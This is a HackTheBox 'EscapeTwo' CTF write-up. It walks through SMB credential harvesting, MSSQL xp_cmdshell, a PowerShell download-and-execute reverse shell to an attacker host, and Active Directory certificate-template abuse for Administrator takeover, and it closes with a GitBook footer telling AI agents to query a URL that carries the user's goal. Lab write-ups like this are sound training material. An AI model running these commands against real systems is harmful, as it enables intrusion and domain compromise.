> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md).

# EscapeTwo HackTheBox Writeup

EscapeTwo HackTheBox Easy Windows machine writeup covering SMB Enumeration, Information Password Leakage (zip, Excel file), MSSQL (Microsoft SQL) Exploitation RCE, BloodHund Enumeration, with practica

{% embed url="<https://app.hackthebox.com/machines/642>" %}

{% hint style="warning" %}
**Skills:**

* SMB Enumeration
* Information Password Leakage (zip, Excel file)
* MSSQL (Microsoft SQL) Exploitation RCE
* BloodHund Enumeration
* WriteOwner CA/\_SVC User (Privilege Escalation)
  {% endhint %}

In this Windows environment penetration test, we have the following credentials:

* username: `rose`
* password: `KxEPkKe6R8su`

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c3df3cfa6ded7300ed9dc8f64017c794080c9bb5%2F%7B1C6BA14D-DD50-4D49-9B51-24A06653C7EA%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c3df3cfa6ded7300ed9dc8f64017c794080c9bb5%2F%7B1C6BA14D-DD50-4D49-9B51-24A06653C7EA%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.51 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50aa3ab38fc51663962ff1a09079d5a09d44cbd4%2F%7B1A179949-EA1B-449E-9AFF-760622D5C811%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Open Port Analysis with extractPorts:**

Using the extractPorts function to in a concise format display open ports and copy them into the `(53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804)` clipboard

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-64b67d9eb3d9cf23edac74a7272b87eaecd96478%2Fimage%20(2719).png?alt=media" alt=""><figcaption></figcaption></figure>

Port Version Scan with Nmap:

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804 10.10.11.51 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-16af7c97825bbd2798262c15d33475fc5ab0e576%2Fimage%20(2720).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71b1a927dc2c3a72ca176d7a7c5ec2698b8fc17b%2Fimage%20(2721).png?alt=media" alt=""><figcaption></figcaption></figure>

To resolve domain names to IP addresses via DNS, the domain name associated with its IP address is inserted into the `/etc/hosts` file:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-09408e31888b7321fdb62a034fb5e4ec2ecd0340%2Fimage%20(2722).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Port 445 - SMB

**Validate the user with CrackMapExec**

We confirm that the `rose` user exists on the domain controller (DC):

```bash
crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su'
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b319c77d20d382411e791fb952cf98ffbd785c6%2Fimage%20(2723).png?alt=media" alt=""><figcaption></figcaption></figure>

**Exploration of SMB shares**

We list accessible shares with the `--shares` command:

```bash
crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --shares
```

**Result**: Two interesting folders are visible:

* `Users`
* `Accounting Department`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22af698e26ca95c230b1963cb4a671f03ddab1ee%2Fimage%20(2724).png?alt=media" alt=""><figcaption></figcaption></figure>

/*/* Connect to SMB sharing with smbclient/*/*

We access **Accounting Department**:

```bash
smbclient '//10.10.11.51/Accounting Department' -U rose
```

In this directory, we recover two Excel files:

```powershell
get accounting_2024.xlsx
get accounts.xlsx
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-364a39454c385f010b4338001db12b8cb593fd7a%2Fimage%20(2726).png?alt=media" alt=""><figcaption></figcaption></figure>

**File format identification**

With the `file` command, we determine that these files are actually ZIP archives.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d7f0c666776e8d4ff1110bb7f74ea3842f38d3e3%2Fimage%20(2727).png?alt=media" alt=""><figcaption></figcaption></figure>

**ZIP file extraction**

We decompress the recovered files:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-418311086c24fd7f69868ea6c862d34b722738ad%2Fimage%20(2728).png?alt=media" alt=""><figcaption></figcaption></figure>

**Search for sensitive information**

We filter the extracted files to find information containing the keyword **password**:

```bash
find . -type f -name "*.txt" -exec grep -iH "password" {} +
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3bac4e23d33628f30e5d756490d8b44baf3532e3%2Fimage%20(2729).png?alt=media" alt=""><figcaption></figcaption></figure>

**Result**: A file named `shareStrings.xml` contains a list of users and passwords.

<img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e53f539bc55a41b6d15a26934f5847d437efce7%2Ffile.excalidraw%20(2).svg?alt=media" alt="" class="gitbook-drawing">

<table><thead><tr><th width="141">First Name</th><th width="135">Last Name</th><th width="174">Email</th><th width="107">Username</th><th>Password</th></tr></thead><tbody><tr><td>Angela</td><td>Martin</td><td>angela@sequel.htb</td><td>angela</td><td>0fwz7Q4mSpurIt99</td></tr><tr><td>Oscar</td><td>Martinez</td><td>oscar@sequel.htb</td><td>oscar</td><td>86LxLBMgEWaKUnBG</td></tr><tr><td>Kevin</td><td>Malone</td><td>kevin@sequel.htb</td><td>kevin</td><td>Md9Wlq1E5bZnVDVo</td></tr><tr><td></td><td></td><td>sa@sequel.htb</td><td>sa</td><td>MSSQLP@ssw0rd!</td></tr></tbody></table>

**Test IDs with CrackMapExec**

We use recovered credentials to validate accounts:

```bash
crackmapexec smb 10.10.11.51 -u 'angela' -p '0fwz7Q4mSpurIt99'
crackmapexec smb 10.10.11.51 -u 'oscar' -p '86LxLBMgEWaKUnBG'
crackmapexec smb 10.10.11.51 -u 'kevin' -p 'Md9Wlq1E5bZnVDVo'
crackmapexec smb 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!'
```

**Result**: Only the `oscar` user is valid.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f43fdd5fe002c0f2ed8d8d59ebaa8c5a7d343461%2Fimage%20(2730).png?alt=media" alt=""><figcaption></figcaption></figure>

## Exploitation MSSQL (Microsoft SQL)

**Port 1433 (MSSQL)**

Port 1433 is open, which indicates that a Microsoft SQL server is listening. We will test the connections with the different users recovered previously.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cba86d8714d6def3d684c427814913efc072de8c%2F%7B5DAC77A9-4CF2-4701-A954-52F22B15CFB8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**MSSQL connection test**

We use `mssqlclient.py` to try to connect:

```bash
mssqlclient.py sequel.htb/angela@10.10.11.51
mssqlclient.py sequel.htb/oscar@10.10.11.51
mssqlclient.py sequel.htb/kevin@10.10.11.51
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c481178b1e4ee92beda48fe460c5839b8cd12f38%2Fimage%20(2731).png?alt=media" alt=""><figcaption></figcaption></figure>

**Result**: Only the user `sa` works.

```bash
mssqlclient.py sequel.htb/sa@10.10.11.51
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-127cffbab2f7e4df09550de2205e1adc1b9d13b7%2Fimage%20(2732).png?alt=media" alt=""><figcaption></figcaption></figure>

### Reverse Shell via MSSQL

**Enable command execution**

To execute system commands, we activate `xp_cmdshell`:

```sql
enable_xp_cmdshell
```

We then test with a simple command, like `ipconfig`:

```sql
xp_cmdshell ipconfig
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2d5fa6ec378e5541d44c4f4424229e671e9a37bb%2Fimage%20(2733).png?alt=media" alt=""><figcaption></figcaption></figure>

**Preparation of listening on our machine**

We're launching a headphone at port 4444:

```bash
rlwrap nc -nvlp 4444
```

**Download a PowerShell script**

We are preparing a PowerShell script called `PS.ps1` that includes a shell reverse command. At the end of the script, we add the following line:

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

At the end of the script, we add the following line:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444
```

We host this script on a local web server:

```bash
python3 -m http.server 80
```

**Execution of reverse shell**

From the MSSQL server, we execute the following command to download and run the PowerShell script:

```sql
xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')"
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dd06e3bfd2b980f961548ba2f6492e7282750fa4%2Fimage%20(2734).png?alt=media" alt=""><figcaption></figcaption></figure>

## Pivoting User Ryan

**Discovered new credentials**

By exploring the system, we discover a directory named **SQL2019** at the root. Inside, we find the following credentials:

* Username : `ryan`
* Password: `WqSZAF6CysDQbGb3`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d278085f0af04d9e75adf855fd226796aef849c4%2Fimage%20(2735).png?alt=media" alt=""><figcaption></figcaption></figure>

**Validation of IDs with CrackMapExec**

We check if these credentials are valid:

```bash
crackmapexec smb 10.10.11.51 -u 'sql_svc' -p 'WqSZAF6CysDQbGb3'
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ff78b3eeef589a6e9f145b8bbba774c597ab24e%2F%7BAD153988-E170-46EE-AF57-EF695FA69257%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

By exploring shared directories, we identify a user named `ryan`. We test the same credentials as for `sql_svc`:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-533df2d6bbc3d5bc2fdde5b4f01e1ebf87e709b6%2Fimage%20(2736).png?alt=media" alt=""><figcaption></figcaption></figure>

**Result**: Identifiers also work for the user `ryan`.

```bash
crackmapexec smb 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3'
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c3591e5e32e86acf25765a708c05286f03911044%2F%7BFD4F3BF9-C2FB-4408-9EFA-37C6CF9291E6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Evil-winrm

```bash
evil-winrm -i 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3'
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2114060c5701f540370bc5d33e26e70ee69c8a97%2Fimage%20(2791).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-957b8eef8ab850e66e4a58c413ca63f90dacbfa3%2Fimage%20(796).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

### BloodHund-python Enumeration

Command used:

```bash
bloodhound-python -u "ryan" -p "WqSZAF6CysDQbGb3" -d sequel.htb -ns 10.10.11.51 -c All
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-47bbc1ea21f76bc72c15e712552e01bf49c2b0da%2Fimage%20(2787).png?alt=media" alt=""><figcaption></figcaption></figure>

## WriteOwner:

**Observation :**/ The **Ryan** user has the `WriteOwner` authorization in the **CA/ SVC** account, which is also the certificate issuer. This means that we can modify the account owner **CA/ SVC** to associate **Ryan**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-85d69b8475f5cfe440b86d6c7c0bd56b93e61a94%2Fimage%20(2788).png?alt=media" alt=""><figcaption></figcaption></figure>

### Take control of CA/\_SVC with BloodyAD

#### Change of account owner

{% code overflow="wrap" %}

```bash
bloodyAD --host '10.10.11.51' -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan'
```

{% endcode %}

The command uses BloodyAD to modify the owner of **CA/ SVC** and define it on **Ryan**. As owner, **Ryan** can now change the authorities associated with the account.

### Modify permissions with Dacledit

#### Give full permission to Ryan

{% code overflow="wrap" %}

```bash
dacledit.py -action write -rights FullControl -principal ryan -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3
```

{% endcode %}

This command modifies the **DACL** (Discretionary Access Control List) of the **CA/ SVC** account to give total control to **Ryan**. This allows Ryan to reset the password or manipulate authentication keys.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9056178a55084f7370b23c8f707ecceab3e00a0a%2Fimage%20(2795).png?alt=media" alt=""><figcaption></figcaption></figure>

### Shadow Credentials Extraction

#### Generate and recover NT hash print

{% code overflow="wrap" %}

```bash
certipy shadow auto -u 'ryan@sequel.htb' -p "WqSZAF6CysDQbGb3" -account 'ca_svc' -dc-ip '10.10.11.51' -target dc01.sequel.htb -ns 10.10.11.51
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8d8e7307a0c249954a33f2fc48f09716f0afce20%2Fimage%20(2793).png?alt=media" alt=""><figcaption></figcaption></figure>

NT hash for **CA/\_SVC**: `3b181b914e7a9d5508ea1e20bc2b7fce`

The **Certipy** command generates an identification key for **CA/ SVC**, enabling certificate-based authentication. A `.ccache` file is also generated, which facilitates Kerberos-based attacks.

### Modification of the model certificate

#### Adjust the DunderMifflinAuthentication model

{% code overflow="wrap" %}

```bash
KRB5CCNAME=$PWD/ca_svc.ccache certipy template  -k -template DunderMifflinAuthentication  -target dc01.sequel.htb -dc-ip 10.10.11.51
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c9ce4e6a179f3e78138bc8e03cf52ed304676fc2%2Fimage%20(2794).png?alt=media" alt=""><figcaption></figcaption></figure>

This command modifies the **DunderMifflinAuthentication** certificate template to allow the issuance of certificates with high privileges.

### Issuing a certificate for the administrator

#### Request a certificate for impersonation

{% code overflow="wrap" %}

```bash
certipy req -u ca_svc -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -target dc01.sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn Administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-57d8a91f9c0f54e133e044ca23a6f9cb8ab8cf6b%2Fimage%20(2796).png?alt=media" alt=""><figcaption></figcaption></figure>

This command requires a certificate on behalf of the Administrator (`Administrator@sequel.htb`), allowing usurping the identity of this account.

### Authentication as Administrator

#### Use of the certificate to authenticate

```bash
certipy auth -pfx administrator_10.pfx -dc-ip 10.10.11.51
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b756fe82204a0baf85ede38c3ca3bdbfc9b83e7%2Fimage%20(2797).png?alt=media" alt=""><figcaption></figcaption></figure>

**NTLMv2 Hash :** `7a8d4e04986afa8ed4060f75e5a0b3ff`

```bash
 evil-winrm -i 10.10.11.51 -u administrator -H "7a8d4e04986afa8ed4060f75e5a0b3ff"
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2d9a34a58848303f1eb7b6e80da97694b69e3c2b%2Fimage%20(2798).png?alt=media" alt=""><figcaption></figcaption></figure>

This command authenticates as Administrator with the previously obtained certificate and recovers the NTLM hash.

### Flag root.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-283125033f7303b54470a1ba7ccada4576d40784%2Fimage%20(2799).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a3430f4eae1a011b4538d27667ac350e29237eb1%2Fimage%20(2800).png?alt=media" alt="" width="500"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
